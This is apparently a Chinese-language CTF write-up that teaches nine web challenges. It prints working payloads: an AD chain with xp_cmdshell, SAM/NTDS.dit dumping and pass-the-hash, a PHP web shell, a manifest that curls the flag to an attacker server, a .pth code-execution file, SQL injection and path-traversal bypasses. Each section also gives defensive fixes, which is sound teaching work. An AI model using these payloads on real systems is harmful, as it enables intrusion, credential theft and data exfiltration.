Polaris CTF Web 题目详解与漏洞利用教学
本文档基于“第一届 Polaris CTF-web题解”链接内容,旨在系统性地讲解其中涉及的 Web 题目漏洞原理、利用思路和复现过程,形成一份详尽的教学材料。内容将涵盖多个独立挑战,旨在帮助读者深入理解相关安全漏洞。
1. babydc
目标环境:一个基于 Active Directory (活动目录) 的 Windows 域内网环境,包含域控制器 (DC)、成员服务器和客户机。
核心漏洞与利用链:
-
信息收集与初始访问:
- 使用
crackmapexec smb <target_ip>识别域控、域名和系统版本。 - 通过目录扫描(如
wfuzz)或工具(如diskgenius)发现敏感文件(如poo_connection.txt),获取数据库连接凭证(server=localhost; user=wuwupor; password=lovlyBaby; database=master)。
- 使用
-
数据库提权与横向移动:
- 使用
impacket-mssqlclient以wuwupor身份连接 MSSQL 数据库。 - 确认当前用户权限普通 (
SELECT IS_SRVROLEMEMBER('sysadmin');返回 0)。 - 查询链接服务器 (
EXEC sp_linkedservers;),发现POO_PUBLIC。 - 通过链接服务器执行命令,提权至
sysadmin:EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'');') AT [POO_PUBLIC]; - 启用
xp_cmdshell并执行系统命令:EXEC ('sp_configure ''xp_cmdshell'',1;RECONFIGURE;') AT [POO_PUBLIC]; EXEC ('xp_cmdshell ''whoami'';') AT [POO_PUBLIC];
- 使用
-
域内信息枚举:
- 枚举域用户:
EXEC ('xp_cmdshell ''net user /domain'';') AT [POO_PUBLIC]; - 枚举本地管理员组:
EXEC ('xp_cmdshell ''net localgroup administrators'';') AT [POO_PUBLIC];
- 枚举域用户:
-
获取域用户凭据与哈希:
- 利用获取的
mowen用户凭据(密码:1maxwell),通过计划任务 (schtasks) 以该用户身份执行命令。 - 转储 SAM 和 SYSTEM 文件:创建计划任务执行
reg save命令,导出HKLM\SAM和HKLM\SYSTEM到文件。 - 转储 NTDS.dit 文件:创建计划任务执行
esentutl /y命令,复制C:\Windows\System32\ntds.dit。
- 利用获取的
-
文件外传与哈希提取:
- 在攻击机启动一个简易的 HTTP PUT 接收服务器(Python 脚本)。
- 在目标服务器上使用
powershell的Invoke-WebRequest将导出的sam.hiv、system.hiv和ntds.dit文件上传到攻击机。 - 使用
impacket-secretsdump工具解析这些文件,提取本地 SAM 哈希和域 NTLM 哈希。例如,获得管理员 Administrator 的 NTLM 哈希:d94f9831271e229dbc6e712097b63168。
-
域控权限获取:
- 使用提取的管理员 NTLM 哈希,通过
impacket-psexec或impacket-wmiexec进行哈希传递攻击(Pass-the-Hash),获取域控制器(DC)的最高权限 shell。impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168 Administrator@<DC_IP>
- 使用提取的管理员 NTLM 哈希,通过
教学要点:
- Active Directory 基本概念与关键端口(LDAP 389, SMB 445, Kerberos 88等)。
- 利用链接服务器(Linked Server)在 MSSQL 中实现权限提升和跨实例命令执行。
- Windows 计划任务在横向移动中的作用。
- 注册表文件(SAM/SYSTEM)和活动目录数据库(NTDS.dit)的获取与哈希提取方法。
- 哈希传递攻击(Pass-the-Hash, PtH)的原理与实践。
2. ezpython
漏洞类型:不安全的对象递归合并(Merge)导致任意文件读取。
代码分析:
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
merge 函数将用户传入的 JSON 数据(src)递归合并到目标对象(instance)上。初始 instance.config.filename 被设置为 "app.py"。
利用链:
- 污染属性:通过向
/路由发送 POST 请求,构造特定的 JSON 数据,可以覆盖instance.config.filename属性。 - 触发读取:访问
/read路由,会执行open(instance.config.filename).read()。由于filename已被污染,可读取任意文件。
利用步骤:
- 污染
filename:
此请求会通过POST / HTTP/1.1 Content-Type: application/json {"config": {"filename": "/flag"}}merge函数,将instance.config.filename的值从"app.py"修改为"/flag"。 - 读取 Flag:
服务器将尝试打开并返回GET /read HTTP/1.1/flag文件的内容。
教学要点:
- 不安全的递归合并函数是原型污染(Prototype Pollution)的常见来源,虽然本例是污染自身属性,但原理相似。
- 理解对象引用和属性覆盖在动态语言中的风险。
- 开发者应避免将用户输入直接合并到关键程序对象上,或对合并操作进行严格的输入验证和属性白名单控制。
3. onlyreal
漏洞类型:文件上传过滤不完整导致任意代码执行(.htaccess + 图片马)。
代码分析:
<?php
$f = $_FILES['file'];
if(preg_match("/php|phtml/i",$f['name'])){
die("非法类型");
}
move_uploaded_file($f['tmp_name'],"uploads/".$f['name']);
echo "上传成功";
后端仅检查了文件名中是否包含 php 或 phtml 字符串,过滤可以被绕过。
利用链:
- 上传
.htaccess文件:先上传一个.htaccess文件,内容为AddType application/x-httpd-php .png。这会使 Apache 服务器将所有.png文件当作 PHP 脚本来解析。 - 上传图片马:上传一个包含 PHP 代码的
.png文件。例如,文件内容为:<?php echo "SHELL-".md5("pwn"); if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?> - 访问执行:直接访问上传的 PNG 文件,它将被服务器解析为 PHP,从而执行任意系统命令。例如,访问
/uploads/shell.png?cmd=id来执行命令。
利用步骤:
- 上传
.htaccess文件。 - 上传恶意 PNG 文件。
- 访问 PNG 文件路径并附加命令参数。
教学要点:
- 文件上传漏洞的防御不能仅依赖客户端检查或简单的黑名单过滤。
.htaccess文件可以配置目录级别的行为,包括 MIME 类型映射,滥用可能导致严重安全问题。- 应采用白名单策略验证文件扩展名,并在保存文件时重命名(如使用随机哈希值),避免直接使用用户提供的文件名。
4. DXT
漏洞类型:可控制的配置文件(清单)导致远程命令执行。
漏洞成因:后端在启动服务时,直接执行了用户上传的 DXT 清单文件中 mcp_config 段下的 command 和 args 字段,且未对命令进行有效过滤。
利用链:
- 确认漏洞:上传非 ZIP 文件提示错误,确认 DXT 文件按 ZIP 解析。上传合法清单后,详情接口会显示
command和args。调用启动接口时,若命令不存在(如python),后端会报错exec: "python": executable file not found in $PATH,证实命令被执行。 - 探测可用命令:通过错误信息或构造不同命令测试,发现
sh存在。 - 构造恶意 DXT 包:创建一个 ZIP 文件,其中包含一个
manifest.json,其server.mcp_config部分指定通过sh -c执行任意命令。 - 外带数据 (OOB):由于无回显,在命令中尝试读取可能的 flag 文件路径,并通过
curl或wget将文件内容发送到攻击者控制的服务器(如webhook.site)。
恶意 manifest.json 示例:
{
"dxt_version": "0.1",
"name": "flag-oob",
"server": {
"type": "node",
"entry_point": "inline",
"mcp_config": {
"command": "sh",
"args": ["-c", "f=$(cat /flag); curl http://attacker-server/$f"]
}
}
}
教学要点:
- 永远不要将用户可控制的数据(如配置文件内容)直接传递给命令执行函数(如
exec、spawn)。 - 如果必须动态执行命令,应对输入进行严格的白名单验证,并尽可能使用参数化调用。
- 在无回显的场景下,Out-of-Band (OOB) 技术是证明漏洞存在和获取数据的关键手段。
5. ezpollute
漏洞类型:原型污染(Prototype Pollution)结合环境变量注入导致任意代码执行。
代码分析:
- 污染点 (
merge函数):虽然过滤了__proto__属性,但未过滤constructor和prototype。通过提交{"constructor": {"prototype": {"NODE_OPTIONS": "-r /flag"}}}可以将NODE_OPTIONS污染到Object.prototype上。 - 触发点 (
/api/status路由):该路由会遍历process.env创建新环境变量对象customEnv用于spawn子进程。for...in循环会枚举到Object.prototype上被污染的NODE_OPTIONS属性。过滤规则只拦截了以--开头的危险选项(如--require),但未拦截短选项-r。
利用链:
- 发起原型污染:向
/api/config发送 POST 请求,污染Object.prototype.NODE_OPTIONS为-r /flag。 - 触发命令执行:访问
/api/status路由。后端会创建 Node.js 子进程,其环境变量包含被污染的NODE_OPTIONS=-r /flag。这等价于执行node -r /flag -e 'console.log(...)'。由于/flag不是合法 JS 文件,Node.js 会在启动时报错,并将错误信息(包含/flag文件的部分内容)返回。
教学要点:
- 原型污染是现代 JavaScript 应用中的高危漏洞,可通过污染内置对象的原型来影响整个应用程序的行为。
- 过滤
__proto__不足以防御原型污染,必须同时考虑constructor.prototype等路径。 - 在创建子进程时,应显式传递所需的环境变量,而非从可能被污染的对象中枚举。使用
Object.getOwnPropertyNames()而非for...in可以避免枚举继承属性。 - 对
NODE_OPTIONS等环境变量的过滤必须全面,考虑所有可能的选项形式。
6. Not a Node
漏洞类型:沙箱逃逸 - 利用未文档化的内部运行时对象进行文件系统访问。
漏洞分析:题目声称只暴露了安全的运行时 API(如 __runtime.hash, __runtime.encoding),但通过枚举(Object.getOwnPropertyNames)可以发现隐藏的内部对象 __runtime._internal.lib.symbols,其中包含了十六进制命名的函数 _0x72656164 (read) 和 _0x6c697374 (list)。这些函数提供了底层的文件读取和目录列表能力。
利用链:
- 探测隐藏 API:在部署的函数中执行
Object.getOwnPropertyNames(__runtime)和Object.getOwnPropertyNames(__runtime._internal.lib.symbols),发现隐藏函数。 - 利用文件读取函数:十六进制
0x72656164对应 ASCII 字符串read。调用__runtime._internal.lib.symbols._0x72656164函数,并传入目标文件路径(如/flag)的字节数组,即可读取文件内容。
Payload 示例:
export default {
async fetch() {
const read = __runtime._internal.lib.symbols._0x72656164;
const path = new TextEncoder().encode('/flag');
return new Response(read(path));
}
}
教学要点:
- 沙箱的安全性依赖于完整的攻击面隔离。暴露任何未经验证和文档化的内部接口都可能导致沙箱被突破。
- 永远不要相信客户端或用户侧的安全声明,应通过动态测试和枚举来探测真实的运行时环境。
- 开发者应确保沙箱只暴露最小必要且经过严格安全审计的 API。
7. 醉里挑灯看剑
漏洞类型:逻辑漏洞 (Capability 提权) + 表达式注入 (Expression Injection)。
漏洞分析:
- 漏洞一 (Capability 提权):
- 函数
appendCapabilityRows在批量插入数据库时,使用第一行数据的键(Object.keys(rows[0]))作为整批插入的字段集合。如果恶意构造的数据使第一条记录不包含role和lane字段,则后续所有记录的这两个字段在插入时都会被置为NULL。 getEffectiveCapability函数通过COALESCE(role, 'maintainer')和COALESCE(lane, 'release')处理NULL值。因此,NULL值的role/lane会被默认提升为高权限的'maintainer'/'release'。- 防护函数
normalizeSyncRows会在末尾追加一条role='guest', lane='public'的记录,但插入前数据会按source字段排序。通过设置恶意记录source='zzzz',可以使防护记录不是第一条,从而其role/lane在插入时也会被置为NULL,防护失效。
- 函数
- 漏洞二 (表达式注入):
/api/release/execute接口使用new Function(...)执行用户输入的表达式expr。- 后端有一个简单的关键字黑名单(如
process,constructor,require,eval),但仅使用string.includes()检查。可以通过字符串拼接(如'pro'+'cess'或tools.sha1['constr'+'uctor'])轻松绕过。
利用链:
- 获取访客 Token:调用
/api/auth/guest。 - 同步恶意 Capability:调用
/api/caps/sync,发送两条source不同且不包含role/lane字段的记录(keepRole: false, keepLane: false),确保排序后第一条记录无这两个字段。这使得当前会话的effective capability变为(maintainer, release)。 - 获取 Challenge Nonce:调用
/api/release/challenge。 - 读取 RUNNER_KEY:调用
/api/release/execute,执行拼接的表达式绕过黑名单,读取process.env.RUNNER_KEY。例如:{"expression": "tools.sha1['constr'+'uctor']('return pro'+'cess.env.RUNNER_KEY')()"} - 计算 Proof 并获取 Flag:根据公式
proof = sha1(sid + ":" + nonce + ":" + RUNNER_KEY)计算 proof,调用/api/release/claim提交nonce和proof以获取 flag。
修复建议:
- 数据库操作:使用明确的列名进行插入,而不是动态从数据中推断。
- 权限默认值:
COALESCE的默认值应设置为最低权限(如'guest','public'),而非高权限。 - 表达式执行:避免使用
new Function或eval执行用户输入。如需动态表达式,应使用严格的白名单解释器或沙箱。 - 敏感信息:不应将
RUNNER_KEY等敏感信息暴露在表达式执行的上下文中。
8. AutoPypy
漏洞类型:任意文件上传(路径穿越)结合 Python .pth 文件自动执行。
代码分析:
/upload接口:使用os.path.join(UPLOAD_FOLDER, filename)拼接路径,filename用户完全可控,导致目录穿越 (../../)。/run接口:使用subprocess.run启动新的 Python 解释器执行launcher.py。launcher.py提示:打印了site.getsitepackages()[0],暗示目标路径。
利用链:
- 探测可写路径:通过上传文件到
../../usr/local/lib/python3.10/site-packages/测试,确认该目录可写。 - 写入恶意
.pth文件:.pth文件是 Python 的路径配置文件,其中以import开头的行会在 Python 启动时被自动执行。上传一个包含恶意 Python 代码的.pth文件到site-packages目录。# evil.pth 内容 import sys, os; exec(open('/flag').read()) # 或其他搜索 flag 并输出的代码 - 触发执行:调用
/run接口执行任意 Python 脚本(如一个空脚本)。在启动新的 Python 解释器时,会自动加载site模块并执行site-packages下的.pth文件,从而触发恶意代码执行,读取并输出 flag。
教学要点:
- 文件上传功能的路径拼接必须使用安全的方法,如
os.path.normpath(os.path.join(base, filename))后,再检查结果是否仍以base目录开头。 - Python 的
.pth文件机制在提供便利的同时也带来了安全风险。确保site-packages等目录的写权限受到严格控制。 - 子进程执行应尽可能减少对环境的依赖,并考虑使用更严格的沙箱或容器环境。
9. BrokenTrust
漏洞类型:SQL 注入 + 逻辑缺陷(仅 UID 登录)+ 路径遍历过滤绕过。
利用链:
- SQL 注入获取管理员 UID:注册普通用户并登录后,发现
/api/profile接口的uid参数存在 SQL 注入。通过注入可以查询出管理员用户的 UID。POST /api/profile HTTP/1.1 Content-Type: application/json {"uid":"' union select uid,username,role from users where role='admin'-- "} - 利用逻辑缺陷登录管理员:登录接口
/login仅验证 UID,不需要密码。使用上一步获取的管理员 UID 直接登录,即可进入管理员后台。 - 路径遍历读取 Flag:管理员后台有一个备份文件读取接口
/api/admin?action=backup&file=config.json。其过滤逻辑存在缺陷:- 先执行
filename.replace("../", "")和filename.replace("..", "")。 - 然后执行
unquote(filename)。 - 这允许通过
....//或双重 URL 编码(%252e%252e%252f)来绕过过滤,实现目录穿越。 - 请求
/api/admin?action=backup&file=....//flag或file=%252e%252e%252fflag即可读取根目录下的/flag文件。
- 先执行
教学要点:
- SQL 注入防御必须使用参数化查询(预编译语句)。
- 身份认证不能仅依赖可预测或可被其他漏洞获取的单一标识符(如 UID),必须结合密码、Token 等多因素。
- 防御路径遍历(目录穿越)时,简单的字符串替换(黑名单)是不可靠的。应使用规范化路径(如
os.path.normpath)后,再检查规范化后的路径是否仍在允许访问的基目录内。 - 在处理用户输入时,解码(
unquote)应在过滤和检查之前进行,以避免编码绕过。